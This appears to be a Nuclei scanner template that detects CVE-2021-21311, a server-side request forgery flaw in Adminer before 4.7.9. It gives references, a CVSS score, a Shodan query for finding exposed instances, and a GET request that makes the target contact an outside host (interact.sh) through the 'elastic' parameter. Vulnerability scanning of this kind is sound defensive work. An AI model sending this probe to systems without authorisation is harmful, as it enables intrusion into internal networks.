id: CVE-2021-21311

info:
  name: Adminer <4.7.9 - Server-Side Request Forgery
  author: Adam Crosser
  severity: high
  description: Adminer from version 4.0.0 through 4.7.8 is susceptible to server-side request forgery due to its use of verbose error messages. Users of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected.
  reference:
    - https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
    - https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
    - https://packagist.org/packages/vrana/adminer
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21311
  remediation: Upgrade to version 4.7.9 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2021-21311
    cwe-id: CWE-918
  metadata:
    shodan-query: title:"Login - Adminer"
  tags: cve,cve2021,adminer,ssrf

requests:
  - method: GET
    path:
      - "{{BaseURL}}/adminer?elastic=interact.sh&username="

    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - "&lt;title&gt;400 - Bad Request&lt;/title&gt;"

      - type: status
        status:
          - 403

# Enhanced by mp on 2022/06/27